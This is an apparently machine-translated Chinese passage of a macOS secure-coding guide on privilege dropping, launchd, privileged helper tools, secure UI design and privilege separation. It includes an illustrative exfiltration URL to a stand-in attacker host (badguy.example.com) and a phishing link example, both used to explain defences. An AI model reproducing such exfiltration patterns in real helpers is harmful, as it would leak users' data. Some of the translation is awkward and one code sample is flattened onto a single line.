5、更改特权级别的调用
有几个命令可以用来改变程序的特权级别。
这些命令的语义学很棘手,并且根据使用它们的操作系统而有所不同。
重要提示: 如果运行时使用的组ID(GID)和用户ID(UID)与用户不同,则必须先删除GID,然后再删除UID。
更改UID后,可能不再拥有足够的权限来更改GID。
重要提示: 与所有与安全相关的操作一样,您必须检查对setuid
、setgid
和相关例程的调用的返回值,以确保它们成功。
否则,当您认为已删除权限时,您可能仍在以提升的权限运行。
以下是有关更改权限级别的最常用系统调用的一些说明:
setuid
将当前进程的真实和有效用户ID以及保存的用户ID设置为指定值。
setuid
函数是UID设置系统调用中最令人困惑的。
不仅使用此调用所需的权限在不同的基于UNIX的系统之间不同,而且调用的操作在不同的操作系统之间甚至在特权和非特权进程之间也不同。
如果您试图设置有效的UID,您应该使用seteuid
函数。- 使用
setreuid
函数修改真实的UID和有效的UID,在某些情况下,还修改保存的UID。
使用此调用所需的权限在不同的基于UNIX的系统中有所不同,修改保存的UID的规则也很复杂。
对于这个函数,如果您的目的是设置有效的UID,您应该使用seteuid
函数。 - 在macOS中,
seteuid
函数设置有效的UID,保持真实的UID和保存的UID不变。
在macOS中,有效的用户ID可以设置为真实用户ID或保存的set-user-ID的值。
(在一些基于UNIX的系统中,此函数允许您将EUID设置为任何真实的UID、保存的UID或EUID。)在macOS上可用的设置有效UID的函数中,seteuid
函数最不容易混淆,也最不容易被误用。 - 该
setgid
函数的作用类似于setuid
函数,只是它设置组ID而不是用户ID。
它有与setuid
函数相同的缺点;请改用setegid
函数。 - 与
setreuid
函数类似,setregid
函数具有相同的缺点;请改用setegid
函数。 - setegid
setegid
设置有效的GID。
如果要设置EGID,此函数是首选调用。
有关权限的更多信息,请参阅 身份验证、授权和权限指南 中的 了解权限一章。
有关setuid
和相关命令的信息,请参阅Chen、Wagner和Dean的Setuid Demystified(第11届USENIX安全研讨会论文集,2002年),可在http://www.usenix.org/publications/library/proceedings/sec02/full_papers/chen/chen.pdf和setuid
、setreuid
、setregid
和setgroups
的手册页中获得。
setuid(2)
手册页还包括有关seteuid
、setgid
和setegid
的信息。
6、避免分叉特权进程
您可以使用几个函数来避免分叉特权助手应用程序。
authopen
命令允许您获得创建、读取或更新文件的临时权限。
您可以使用launchd
守护程序以指定的权限和已知环境启动进程。
authopen
运行authopen
命令时,提供要访问的文件的路径名。
有读取文件、写入文件和创建新文件的选项。
在执行任何这些操作之前,authopen
命令会向系统安全守护程序请求授权,系统安全守护程序会对用户进行身份验证(通过密码对话框或其他方式),并确定用户是否有足够的权限来执行操作。
有关此命令的语法,请参阅authopen(1)
的手册页。
launchd
从macOS 10.4开始,launchd
守护进程用于自动启动守护进程和其他程序,无需用户干预。
(如果您需要支持运行早于10.4的操作系统版本的系统,您可以使用启动项。)
这个launchd
守护进程可以启动系统范围的守护进程和每个用户的代理,如果仍然需要的话,可以在它们退出后重新启动它们。
launchd
程序需要一个配置文件,告诉
您还可以使用launchd
启动特权助手。
通过将应用程序分解为特权和非特权进程,您可以限制以root用户身份运行的代码量(从而限制潜在的攻击面)。
确保您没有请求比实际需要更高的特权,并且始终尽快放弃特权或退出执行。
优先使用launchd
而不是编写以root用户身份运行的守护程序或派生特权进程的分解应用程序有几个原因:
- 因为
launchd
按需启动守护进程,你的守护进程不需要担心其他服务是否可用。
当它请求其中一个服务时,服务会以对你的守护进程透明的方式自动启动。 - 因为
launchd
本身以root用户身份运行,如果您使用特权进程的唯一原因是在编号较低的端口上运行守护程序,您可以让launchd
代表您的守护程序打开该端口并将打开的套接字传递给您的守护程序,从而消除代码以root用户身份运行的需要。 - 因为
launchd
可以启动具有提升权限的例程,所以您不必为辅助工具设置setuid
或setgid
位。
任何设置了setuid
或setgid
位的例程都可能成为恶意用户攻击的目标。 - 由
launchd
启动的特权例程在不可篡改的受控环境中运行。
如果您启动一个设置了setuid
位的辅助工具,它会继承启动应用程序的大部分环境,包括:- 打开文件描述符(除非设置了它们的关闭执行标志)。
- 环境变量(除非您使用
posix_spawn
、posix_spawnp
或接受显式环境参数的exec
变体,例如execve
)。 - 资源限制。
- 调用进程传递给它的命令行参数。
- 匿名共享内存区域(未连接,但如果需要,可以重新连接)。
- Mach port 权。
可能还有其他的。使用launchd
要安全得多,它完全控制发射环境。
- 理解和验证控制应用程序和特权守护程序之间协议的安全性比处理您自己分叉的进程所需的进程间通信要容易得多。
当您分叉进程时,它会从您的应用程序继承其环境,包括文件描述符和环境变量,这些环境变量可能被用来攻击进程(参见敌对环境和最小权限原则)。
您可以通过使用launchd
启动守护程序来避免这些问题。 - 编写守护程序并使用
launchd
启动它比编写分解代码并分叉一个单独的进程更容易。 - 因为
launchd
是一个关键的系统组件,所以它会受到苹果内部开发人员的大量同行审查。
与大多数生产代码相比,它不太可能包含安全漏洞。 - 该
launchd.plist
文件包含键值对,您可以使用这些键值对来限制守护程序可以使用的系统服务(例如内存、文件数量和cpu时间)。
有关launchd
的详细信息,请参阅launchd
、launchctl
和launchd.plist
的手册页,以及 守护程序和服务编程指南 。
有关启动项的详细信息,请参阅 守护程序和服务编程指南 。
7、其他机制的局限性和风险
除了launchd
之外,还可以使用以下较小的方法来获得提升的权限。
在每种情况下,您都必须了解您选择的方法所带来的限制和风险。
- setuid
如果设置了可执行文件的setuid
位,则程序以拥有该可执行文件的任何用户的身份运行,而不管哪个进程启动它。
有两种方法可以使用setuid
获得root(或其他用户)权限,同时最大限度地降低风险:- 以root权限启动您的程序,立即执行任何必要的特权操作,然后永久删除权限。
- 启动仅在必要时运行的
setuid
辅助工具,然后退出。
如果您正在执行的操作需要除root之外的组权限或用户权限,您应该仅使用该权限启动程序或辅助工具,而不是使用root权限,以最大限度地减少程序被劫持时的损害。
需要注意的是,如果您使用与用户不同的组ID(GID)和用户ID(UID)运行,您必须在删除UID之前删除GID。
一旦更改了UID,就不能再更改GID了。
与每个与安全相关的操作一样,您必须检查对setuid
、setgid
和相关例程的调用的返回值,以确保它们成功。
有关使用setuid
和相关例程的更多信息,请参阅安全提升权限。
- SystemStarter
当您将可执行文件放入/Library/StartupItems
目录时,SystemStarter
程序会在引导时启动它。
因为SystemStarter
以root权限运行,所以您可以使用任何您希望的权限级别启动程序。
请务必使用可用于完成任务的最低权限级别,并尽快删除权限。
启动项在单个全局会话中运行具有root权限的守护进程;这些进程为所有用户服务。
对于macOS 10.4及更高版本,不推荐使用启动项;改用launchd
守护程序。
有关启动项和启动项权限的更多信息,请参阅 守护程序和服务编程指南 中的 启动项。 - AuthorizationExecWithPrivilege
授权服务API提供了AuthorizationExecuteWithPrivileges
函数,该函数以root用户身份启动特权助手。
虽然此函数可以以root权限临时执行任何进程,但不推荐使用,除非安装程序必须能够从CD和自修复setuid
工具运行。
有关详细信息,请参阅 授权服务编程指南 。 - 新etd
在早期版本的macOS中,系统启动时以root权限启动xinetd
守护程序,然后在需要时启动Internet服务守护程序。
xinetd.conf
配置文件指定每个启动的守护程序的UID和GID以及每个服务要使用的端口。
从macOS 10.4开始,您应该使用launchd
来执行以前由xinetd
提供的服务。
有关从xinetd
转换为launchd
的信息,请参阅守护程序和服务编程指南。
有关xinetd(8)
和xinetd.conf(5)
的手册页,了解有关xinetd
的更多信息。 - 其他
如果您正在使用其他方法为您的进程获得提升的权限,您应该切换到此处描述的方法之一,并遵循本章和安全提升权限中描述的注意事项。
8、编写特权助手
如果您已经阅读了这么多,并且仍然确信您的应用程序的一部分需要提升的权限,本节提供了一些提示和示例代码。
此外,请参阅 授权服务编程指南 ,了解有关使用授权服务和分解应用程序的正确方法的更多建议。
正如授权服务留档中所述,在启动特权辅助工具之前和之后检查用户执行特权操作的权限非常重要。
由root拥有并设置了setuid
位的辅助工具拥有足够的权限来执行它必须执行的任何任务。
但是,如果用户没有执行此任务的权限,则不应启动该工具,并且——如果该工具仍然启动——该工具应该在不执行任务的情况下退出。
您的非特权进程应该首先使用授权服务来确定用户是否被授权,并在必要时对用户进行身份验证(这称为预授权;参见例5-1)。
然后启动您的特权进程。
然后,在执行需要提升权限的任务之前,特权进程应该再次授权用户;参见例5-2。
任务一完成,特权进程就应该终止。
在确定用户是否有足够的权限来执行任务时,您应该使用您自己定义并放入策略数据库的权限。
如果您使用系统或其他开发人员提供的权限,用户可能会被其他进程授予该权限的授权,从而获得您的应用程序的权限或访问您没有授权或打算访问的数据。
有关策略和策略数据库的更多信息,(请参阅 授权服务编程指南 的 授权概念章节中的“策略数据库”部分)。
在此处显示的代码示例中,需要特权的任务正在杀死用户不拥有的进程。
示例:预授权
如果用户试图杀死另一个用户拥有的进程,应用程序必须确保用户有权这样做。
以下编号项对应于代码示例中的注释:
- 如果该进程归用户所有,并且该进程不是窗口服务器或登录窗口,请继续并杀死它。
- 调用
permitWithRight:flags:
方法来确定用户是否有权终止进程。
应用程序必须事先将此权限——在本例中称为com.apple.processkiller.kill
——添加到策略数据库中。
permitWithRight:flags:
方法处理与用户的交互(如身份验证对话框)。
如果此方法返回0
,则无错误地完成,用户被认为是预先授权的。 - 获取授权引用。
- 创建授权引用的外部形式。
- 创建一个包含外部授权引用的数据对象。
- 将这个序列化的授权引用传递给将终止进程的
setuid
工具(例5-2)。
例5-1非特权进程
if (ownerUID == _my_uid && ![[contextInfo processName]isEqualToString:@"WindowServer"] && ![[contextInfo processName]isEqualToString:@"loginwindow"]) {[self killPid:pid withSignal:signal]; // 1
} else {SFAuthorization *auth = [SFAuthorization authorization];if (![auth permitWithRight:"com.apple.proccesskiller.kill" flags:kAuthorizationFlagDefaults|kAuthorizationFlagInteractionAllowed|kAuthorizationFlagExtendRights|kAuthorizationFlagPreAuthorize]) // 2{AuthorizationRef authRef = [auth authorizationRef]; // 3AuthorizationExternalForm authExtForm;OSStatus status = AuthorizationMakeExternalForm(authRef, &authExtForm); // 4if (errAuthorizationSuccess == status) {NSData *authData = [NSData dataWithBytes: authExtForm.byteslength: kAuthorizationExternalFormLength]; // 5[_agent killProcess:pid signal:signal authData: authData]; // 6}}
}
外部工具归root所有,并设置了其setuid
位,以便以root权限运行。
它导入外部化的授权权限,并再次检查用户的授权权限。
如果用户拥有该权限,工具将杀死进程并退出。
以下编号项对应于代码示例中的注释:
- 将外部授权引用转换为授权引用。
- 创建授权项数组。
- 创建授权权限集。
- 调用
AuthorizationCopyRights
函数来确定用户是否有权杀死进程。
您将授权引用传递给此函数。
如果安全服务器在对用户进行身份验证时发出的凭据尚未过期,此函数可以确定用户是否有权杀死进程而无需重新身份验证。
如果凭据已过期,安全服务器将处理身份验证(例如,通过显示密码对话框)。
(当您将授权权限添加到策略数据库时,您可以指定凭据的过期期限。) - 如果用户被授权这样做,请终止该进程。
- 如果用户无权终止进程,请记录不成功的尝试。
- 释放授权引用。
例5-2特权进程
AuthorizationRef authRef = NULL;
OSStatus status = AuthorizationCreateFromExternalForm((AuthorizationExternalForm *)[authData bytes], &authRef); // 1
if ((errAuthorizationSuccess == status) && (NULL != authRef)) {
AuthorizationItem right = {"com.apple.proccesskiller.kill",0L, NULL, 0L}; // 2
AuthorizationItemSet rights = {1, &right}; // 3
status = AuthorizationCopyRights(authRef, &rights, NULL,kAuthorizationFlagDefaults | kAuthorizationFlagInteractionAllowed |kAuthorizationFlagExtendRights, NULL); // 4
if (errAuthorizationSuccess == status)
kill(pid, signal); // 5
else
NSLog(@"Unauthorized attempt to signal process %d with %d",pid, signal); // 6
AuthorizationFree(authRef, kAuthorizationFlagDefaults); // 7
}
辅助工具注意事项
如果您编写了一个特权助手工具,您需要非常小心地检查您的假设。
例如,您应该始终检查函数调用的结果;假设它们成功并继续这种假设是危险的。
您必须小心避免本文档中讨论的任何陷阱,例如缓冲区溢出和竞争条件。
如果可能,避免链接到任何额外的库中。
如果您必须链接到库中,您不仅必须确保该库没有安全漏洞,但它也没有链接到任何其他库中。
对其他代码的任何依赖都可能使您的代码受到攻击。
为了让你的助手工具尽可能安全,你应该让它尽可能短——让它只做最起码的必要工作,然后退出。
保持简短会降低你犯错误的可能性,并让其他人更容易审计你的代码。
一定要从最初没有帮助编写工具的人那里得到安全审查。
独立审阅者不太可能分享你的假设,更有可能发现你错过的漏洞。
9、授权和信任政策
除了BSD提供的基本权限之外,macOS授权服务API使您能够使用策略数据库来确定实体是否应该有权访问应用程序中的特定功能或数据。
授权服务包括读取、添加、编辑和删除策略数据库项的功能。
您应该定义自己的信任策略,并将它们放入策略数据库。
如果您使用系统或其他某个开发人员提供的策略,用户可能会被其他某个进程授予权限授权,从而获得您的应用程序的权限或访问您没有授权或打算访问的数据的权限。
为每个操作定义不同的策略,以避免必须向只需要狭隘权限的用户授予广泛的权限。
有关策略和策略数据库的更多信息,请参阅 授权服务编程指南 的 授权概念章节中的“策略数据库”部分。
授权服务不强制执行访问控制;相反,它对用户进行身份验证,并让您知道他们是否有权限执行他们希望执行的操作。
您的程序可以拒绝或执行该操作。
10、KEXT中的安全性
因为内核扩展没有用户交互界面,所以您不能调用授权服务来获得您还没有的权限。
但是,在处理来自用户空间的请求的部分代码中,您可以确定调用进程具有哪些权限,并且可以评估权限改造列表(ACL;请参阅文件系统编程指南的 文件系统详细信息章节中OS X文件系统安全部分中的“ACL”部分)。
在macOS 10.4及更高版本中,您还可以使用内核授权(Kauth)子系统来管理授权。
有关Kauth的更多信息,请参阅技术说明TN2127,内核授权(http://developer.apple.com/technotes/tn2005/tn2127.html)。
七、设计安全的用户界面
用户通常是系统安全中的薄弱环节。
许多安全漏洞都是由弱密码、未加密的文件留在未受保护的计算机上以及成功的社会工程攻击引起的。
因此,至关重要的是,您程序的用户交互界面通过使用户容易做出安全选择和避免代价高昂的错误来增强安全性。
在社会工程攻击中,用户被诱骗泄露秘密信息或运行恶意代码。
例如,当用户下载并打开电子邮件发送的文件时,梅丽莎病毒和情书蠕虫分别感染了数千台计算机。
本章讨论了做与用户期望相反的事情如何导致安全风险,并给出了创建用户交互界面的提示,以最大限度地降低社会工程攻击的风险。
安全的人机界面设计是一个影响操作系统以及单个程序的复杂主题。
本章只给出了一些提示和亮点。
有关此主题的广泛讨论,请参阅Cranor和Garfinkel,安全性和可用性:设计人们可以使用的安全系统,O’Reilly,2005年。
1、使用安全默认值
大多数用户使用一个应用程序的默认设置,并假设它们是安全的,如果他们必须做出特定的选择并采取多种行动才能使一个程序安全,很少有人会这样做,因此,你的程序的默认设置应该尽可能安全。
例如:
- 如果您的程序启动其他程序,它应该以运行它们所需的最低权限启动它们。
- 如果您的程序支持可选的SSL连接,则默认情况下应选中该复选框。
- 如果您的程序显示的用户交互界面要求用户决定是否执行具有潜在危险的操作,则默认选项应该是安全选择。
如果没有安全选择,则不应该有默认值。
诸如此类
有一种普遍的信念,即安全性和便利性是不相容的。
有了精心的设计,就不必如此。
事实上,非常重要的是用户不必为了安全性而牺牲便利性,因为许多用户会在那种情况下选择便利性。
在许多情况下,更简单的界面更安全,因为用户不太可能忽视安全功能,也不太可能犯错误。
只要有可能,您应该为您的用户做出安全决策:在大多数情况下,您比他们更了解安全,如果您不能评估证据来确定哪个选择最安全,您的用户也很可能无法这样做。
有关此问题的详细讨论和案例研究,请参阅Cranor和Garfinkel的文章“Firefox和无忧Web”,安全性和可用性:设计人们可以使用的安全系统。
2、满足用户对安全性的期望
如果您的程序处理用户希望保密的数据,请确保您始终保护这些数据。
这意味着不仅要将其保存在安全的位置或在用户的计算机上加密,但除非您能验证另一个程序将保护数据,否则不要将其交给另一个程序,并且不要通过不安全的网络传输它。
如果由于某种原因您无法保持数据安全,您应该让用户清楚这种情况,并让他们选择取消不安全的操作。
重要提示: 没有操作安全的指示不是通知用户操作不安全的好方法。
一个常见的例子是,任何在受SSL/TLS或类似协议保护的网页上添加锁定图标(通常很小且不显眼)的网络浏览器。
用户必须注意到该图标不存在(或者在伪造网页的情况下,它位于错误的位置)才能采取行动。
相反,程序应该突出显示每个网页或操作的某些不安全指示。
当他们授权某个实体代表他们行事或访问他们的文件或数据时,必须让用户知道。
例如,一个程序可能允许用户与远程系统上的其他用户共享文件,以允许协作。
在这种情况下,默认情况下应该关闭共享。
如果用户打开它,界面应该明确远程用户可以读取和写入本地系统上的文件的程度。
如果打开一个文件的共享也允许远程用户读取同一文件夹中的任何其他文件,例如,在打开共享之前,界面必须明确这一点。
此外,只要共享已打开,就应该有一些明确的指示表明它已打开,以免用户忘记他们的文件可以被其他人访问。
授权应该是可撤销的:如果用户授予某人授权,用户通常希望以后能够撤销该授权。
只要有可能,您的程序不仅应该使这成为可能,还应该使其变得容易。
如果由于某种原因无法撤销授权,您应该在授予授权之前明确这一点。
您还应该明确撤销授权不能逆转已经造成的损害(除非您的程序提供恢复功能)。
同样,任何其他影响安全但无法撤消的操作要么不被允许,要么应该在用户采取行动之前让他们知道情况。
例如,如果所有文件都备份在中央数据库中,用户无法删除,用户应该在记录他们以后可能想要删除的信息之前意识到这一事实。
作为用户的代理,您必须谨慎避免执行用户不期望或不打算执行的操作。
例如,如果代码执行用户未明确授权的功能,请避免自动运行代码。
3、保护所有接口
一些程序有多个用户界面,例如图形用户交互界面、命令行界面和远程访问界面。
如果这些界面中的任何一个都需要身份验证(例如密码),那么所有界面都应该需要它。
此外,如果您需要通过命令行或远程界面进行身份验证,请确保身份验证机制是安全的——例如,不要以明文形式传输密码。
4、将文件放在安全位置
除非您要加密所有输出,否则保存文件的位置具有重要的安全含义。
例如:
- FileVault可以保护根卷(或OS X 10.7之前的用户主文件夹),但不能保护用户可能选择放置文件的其他位置。
- 可以以其他人可以操作其内容的方式设置文件夹权限。
如果文件包含必须保护的信息,您应该限制用户保存文件的位置。
如果您允许用户选择保存文件的位置,您应该明确特定选择的安全含义;具体来说,他们必须明白,根据文件的位置,其他应用程序甚至远程用户可能会访问它。
5、明确安全选择
大多数程序在检测到问题或差异时,会显示一个对话框,通知用户问题。
然而,这种方法通常不起作用。
首先,用户可能不理解警告或其含义。
例如,如果对话框警告用户他们正在连接的站点有一个证书,其名称与站点名称不符,用户不太可能知道该如何处理这些信息,并且可能会忽略它。
此外,如果程序设置了几个以上的对话框,用户可能会忽略所有对话框。
要解决这个问题,当给用户一个具有安全含义的选择时,要明确每个选择的潜在后果。
用户永远不应该对一个动作的结果感到惊讶。
给用户的选择应该以后果和权衡来表达,而不是技术细节。
例如,加密方法的选择应该基于安全级别(用简单的术语表示,比如破解加密可能需要的时间)与加密数据所需的时间和磁盘空间,而不是算法类型和要使用的密钥长度。
如果对用户来说没有重要的实际差异(比如当更安全的加密方法和不太安全的加密方法一样有效时),就使用最安全的方法,根本不给用户选择的余地。
对很少有用户是安全专家这一事实保持敏感。
提供尽可能多的信息——用清晰、非技术性的术语——让他们做出明智的决定。
在某些情况下,最好不要给他们改变默认行为的选项。
例如,大多数用户不知道数字证书是什么,更不用说接受由未知机构签名的证书的含义了。
因此,让用户永久添加锚证书(用于签署其他证书的信任证书)可能不是一个好主意,除非您可以确信用户可以评估证书的有效性。
(此外,如果用户是安全专家,他们无论如何都会知道如何在没有您的应用程序帮助的情况下将锚证书添加到钥匙串中。)
如果您提供安全功能,您应该让用户清楚地知道它们的存在。
例如,如果您的邮件应用程序要求用户双击一个小图标才能查看用于签署消息的证书,大多数用户永远不会意识到该功能可用。
杰罗姆·萨尔茨和迈克尔·施罗德(Jerome Saltzer和Michael Schroeder)在一本经常被引用但很少被应用的专著中写道:“人机界面的设计必须易于使用,这样用户才能常规、自动地正确应用保护机制。
此外,只要用户对其保护目标的心理形象与他们必须使用的机制相匹配,错误就会最小化。
如果他们必须将他们对保护需求的形象转化为完全不同的规范语言,他们就会出错。”(萨尔茨和施罗德,“计算机系统中的信息保护”,IEEE 63:9,1975年。)
例如,您可以假设用户明白必须保护数据免遭未经授权的访问;但是,您不能假设用户对加密方案有任何了解或知道如何评估密码强度。
在这种情况下,您的程序应该向用户提供如下选择:
- “您的计算机在物理上是否安全,或者未经授权的用户是否有可能对计算机进行物理访问?”
- “你的电脑连接网络了吗?”
从用户的回答中,您可以确定如何最好地保护数据。
除非您提供“专家”模式,否则不要向用户提出以下问题:
- “您想加密您的数据吗?如果是,使用哪种加密方案?”
- “钥匙应该使用多长时间?”
- “您想允许SSH访问您的计算机吗?”
这些问题与用户对问题的看法不一致。
因此,用户对这些问题的回答很可能是错误的。
在这方面,理解用户的观点非常重要。
对于程序员来说看似简单或直观的界面对普通用户来说很少是简单或直观的。
引用Ye-Ping Yee(安全系统的用户交互设计,http://www.eecs.berkeley.edu/Pubs/TechRpts/2002/CSD-02-1184.pdf)的话:
- 为了有机会在不可靠且有时是对抗性软件的世界中安全地使用系统,用户需要对以下所有陈述有信心:
6、对抗社会工程攻击
社会工程攻击尤其难以对抗。
在社会工程攻击中,攻击者欺骗用户执行攻击代码或放弃私人信息。
一种常见的社会工程攻击形式被称为网络钓鱼。
网络钓鱼是指创建一个看起来很官方的电子邮件或网页,欺骗用户认为他们正在与他们熟悉的实体打交道,例如他们有账户的银行。
通常,用户会收到一封电子邮件,通知他们他们的账户有问题,并指示他们点击电子邮件中的链接。
该链接将他们带到一个欺骗真实网页的网页;也就是说,它包括图标、措辞和图形元素,与用户习惯于在合法网页上看到的相呼应。
用户被指示输入他们的社会安全号码和密码等信息。
这样做后,用户已经放弃了足够的信息,让攻击者能够访问用户的账户。
打击网络钓鱼和其他社会工程攻击很困难,因为计算机对电子邮件或网页的感知与用户的感知根本不同。
例如,考虑一封包含http://scamsite.example.com/
链接的电子邮件,但链接的文本显示Apple Web Store
。
从计算机的角度来看,URL链接到诈骗网站,但从用户的角度来看,它链接到Apple的在线商店。
用户在浏览器中看到URL之前,无法轻易判断该链接没有指向他们期望的位置;计算机同样无法确定该链接的文本具有误导性。
更复杂的是,即使用户查看实际的网址,计算机和用户对网址的理解也可能不同。
Unicode字符集包括许多看起来与普通英文字母相似或相同的字符。
例如,发音为“r”的俄语字形在许多字体中看起来完全像英语“p”,尽管它有不同的Unicode值。
这些字符被称为同形异义。
当网络浏览器开始支持国际化域名(IDN)时,一些网络钓鱼者建立了看起来与合法域名相同的网站,在他们的网址中使用同形异义来欺骗用户认为网址是正确的。
已经尝试了一些创造性的技术来对抗社会工程攻击,包括试图识别与众所周知的网址相似但不相同的网址,使用私人电子邮件渠道与客户通信,使用电子邮件签名,以及允许用户只有在消息来自已知、可信的来源时才能看到消息。
所有这些技术都有问题,社会工程攻击的复杂性一直在增加。
例如,为了挫败域名同形文字攻击,许多浏览器以称为“Punycode”的ASCII格式显示国际化域名(IDN)例如,一个网址为http://www.apple.com/
的冒名顶替网站,除了字母“a”之外,所有字符都使用罗马文字,它使用西里尔字符,显示为http://www.xn--pple-43d.com
。
不同的浏览器在决定显示哪些国际化域名和翻译哪些国际化域名时使用不同的方案。
例如,当一个URL包含两个或多个脚本中不允许在同一个URL中使用的字符时,Safari使用这种形式,例如西里尔字符和传统ASCII字符。
其他浏览器考虑字符集是否适合用户的默认语言。
还有一些浏览器维护一个注册表列表,积极防止这种欺骗,并对所有其他注册表的域使用Punycode。
有关该问题的更深入分析、更多建议的解决方法以及一些案例研究,请参阅安全性和可用性:设计人们可以使用的安全系统Cranor和Garfinkel。
要了解更多关于一般社会工程技术的信息,请阅读米特尼克、西蒙和沃兹尼亚克的《欺骗的艺术:控制人类安全元素》。
7、尽可能使用安全API
避免向代码添加安全漏洞的一种方法是尽可能使用可用的安全API。
安全接口框架API提供了许多用户交互界面视图来支持通常执行的安全任务。
iOS注意:安全接口框架在iOS不可用。
iOS,应用程序对钥匙串的使用受到限制,用户无需创建新的钥匙串或更改钥匙串设置。
安全接口框架API提供以下视图:
- 该
SFAuthorizationView
类在窗口中实现授权视图。
授权视图是一个锁定图标和指示是否可以执行操作的随附文本。
当用户单击关闭的锁定图标时,会显示一个授权对话框。
一旦用户获得授权,锁定图标就会显示为打开状态。
当用户单击打开的锁时,授权服务会再次限制访问,并将图标更改为关闭状态。 - 这些
SFCertificateView
显示证书的内容SFCertificatePanel
- 该
SFCertificateTrustPanel
类显示并可选择地允许用户编辑证书中的信任设置。 - 该
SFChooseIdentityPanel
类显示系统中的身份列表,并允许用户选择一个。
(在此上下文中,身份是指私钥及其相关证书的组合。) - 这个
SFKeychainSavePanel
类向一个应用程序添加了一个接口,允许用户保存一个新的钥匙串。
这个用户交互界面与保存文件的界面几乎相同。
不同之处在于,这个类除了返回一个文件名之外,还返回一个钥匙串,并允许用户为钥匙串指定一个密码。 - 该
SFKeychainSettingsPanel
类显示一个界面,允许用户更改钥匙串设置。
八、设计安全助手和守护进程
特权分离是使应用程序更安全的常用技术。
通过将应用程序分解为每个需要更少特权的功能单元,如果有人成功地破坏了该应用程序的任何单个部分,您就更难对其做任何有用的事情。
然而,如果没有适当的设计,特权分离的应用程序并不比non-privilege-separated应用程序安全得多。
为了适当的安全性,应用程序的每个部分都必须将应用程序的其他部分视为不受信任和潜在的敌对。
为此,本章提供了设计助手应用程序的注意事项和注意事项。
有两种不同的方法可以执行权限分离:
- 创建一个纯计算助手来隔离危险操作。
这种技术要求主应用程序天生怀疑助手返回的任何数据,但不要求助手怀疑应用程序。 - 创建助手或守护进程来执行任务,而不授予应用程序执行任务的权利。
这不仅要求主应用程序不信任助手,还要求助手不信任主应用程序。
用于保护这两种类型的助手的技术仅在助手所需的偏执程度上有所不同。
1、使用应用沙盒
权限分离的核心是需要实际赋予各种组件不同级别的权限。
推荐的方法是通过使用App Sandbox。
这项技术允许您限制您的主应用程序及其辅助应用程序可以做什么。
默认情况下,当您在应用上启用应用沙盒时,该应用具有基本级别的系统访问权限,包括在特殊的每个应用容器目录中写入文件、执行计算和访问某些基本系统服务的能力。
从该基线开始,您可以通过添加权限来添加其他权限,例如读取和写入用户通过打开或保存对话框选择的文件的能力、发出传出网络请求的能力、侦听传入网络请求的能力等等。
应用程序或其助手的沙盒过程超出了本书的范围。
要了解有关为应用程序及其助手选择权利的更多信息,请阅读 应用程序沙盒设计指南 。
2、避免操纵木偶
当一个辅助应用程序被主应用程序如此严格地控制,以至于它自己不会做出任何决定时,这被称为木偶操纵。
这本质上是糟糕的设计,因为如果应用程序受到威胁,攻击者可以类似地控制辅助程序,实际上接管了拉辅助程序的“字符串”。
这完全破坏了特权分离边界。
因此,除非您正在创建一个纯粹的计算辅助程序,否则将代码拆分为一个辅助程序应用程序,该应用程序只是执行主应用程序告诉它做的任何事情,通常不是一个有用的分工。
通常,助手必须负责决定是否执行特定的操作。
如果您查看应用程序在特权分离和不特权分离的情况下可以执行的操作,这些列表应该是不同的;如果不是,那么通过将功能分离到单独的助手中,您不会获得任何东西。
例如,考虑一个为文字处理器下载帮助内容的助手。
如果助手获取文字处理器发送给它的任意URL,助手就可以被轻松利用,向任意服务器发送任意数据。
例如,控制浏览器的攻击者可以告诉助手访问该URLhttp://badguy.example.com/saveData?hereIsAnEncodedCopyOfTheUser%27sData
。
下面的小节描述了这个问题的解决方案。
使用白名单
解决此问题的一种方法是使用白名单。
帮助程序应包含它可以访问的特定资源列表。
例如,此帮助程序可以包括:
- 仅包含域
example.org
的主机白名单。
对该域中URL的请求将成功,但攻击者无法使助手访问其他域中的URL。 - 允许的路径前缀白名单。
攻击者将无法使用example.org
公告板上的跨站点脚本将请求重定向到另一个位置。
(这主要适用于使用Web UI的应用程序。)
您也可以通过手动处理重定向来避免这种情况。 - 允许的文件类型白名单。
这可能会将帮助程序限制为预期的文件类型。
(请注意,文件类型白名单对于访问本地硬盘驱动器上文件的帮助程序更有趣。) - 允许
GET
或POST
操作的特定URI的白名单。
使用抽象标识符和结构
避免操纵木偶的第二种方法是抽象出请求本身的细节,使用数据结构和抽象标识符而不是提供URI、查询和路径。
一个简单的例子是帮助系统。
应用程序可能会传递一个标志字段,该字段的值告诉助手“按名称搜索”或“按标题搜索”,以及一个包含搜索字符串的字符串值,而不是为帮助搜索请求传递一个完全格式的URI。
这个标志字段是一个抽象标识符的示例;它告诉助手做什么,而不告诉它如何做。
更进一步,当助手返回搜索结果列表时,它可以返回名称和不透明标识符(可能是最后一组搜索结果的索引),而不是返回结果页的名称和URI。
这样做,应用程序无法访问任意URI,因为它从不直接与实际URI交互。
类似地,如果您的应用程序处理引用其他文件的项目文件,在没有API直接支持的情况下,您可以使用临时异常来授予助手对磁盘上所有文件的访问权限。
为了使这更安全,助手应该只提供对用户打开的项目中实际出现的文件的访问权限。
助手可以通过要求应用程序通过助手生成的某个任意标识符而不是名称或路径来请求文件来做到这一点。
这使得应用程序更难要求助手打开任意文件。
这可以通过嗅探来进一步增强,如使用气味测试中所述。
同样的概念可以扩展到其他领域。
例如,如果应用程序需要更改数据库中的记录,助手可以将记录作为数据结构发送,应用程序可以发回更改后的数据结构以及需要更改哪些值的指示。
然后,助手可以在修改剩余数据之前验证未更改数据的正确性。
抽象传递数据还允许帮助程序限制应用程序对其他数据库表的访问。
它还允许帮助程序限制应用程序可以执行的查询类型,其方式比大多数数据库提供的权限系统更细粒度。
使用气味测试
如果辅助应用程序可以访问主应用程序无法直接访问的文件,并且如果主应用程序要求辅助程序检索该文件的内容,则辅助程序在发送数据之前对该文件执行测试以确保主应用程序没有替换到不同文件的符号链接非常有用。
特别是,将文件扩展名与文件的实际内容进行比较以查看磁盘上的字节是否对明显的文件类型有意义。
这种技术称为文件类型嗅探。
例如,任何图像文件的前几个字节通常提供足够的信息来确定文件类型。
如果前四个字节是JFIF
,则该文件可能是JPEG图像文件。
如果前四个字节是GIF8
,则该文件可能是GIF图像文件。
如果前四个字节是MM.*
或II*.
,则该文件可能是TIFF文件。
依此类推。
如果请求通过了这个气味测试,那么内容很有可能是预期的类型。
3、将应用程序和助手都视为敌对
因为权限分离的全部目的是防止攻击者在破坏应用程序的一部分后能够做任何有用的事情,所以助手和应用程序都必须假设另一方具有潜在的敌意。
这意味着每个部分必须:
- 避免缓冲区溢出(避免缓冲区溢出和下溢)。
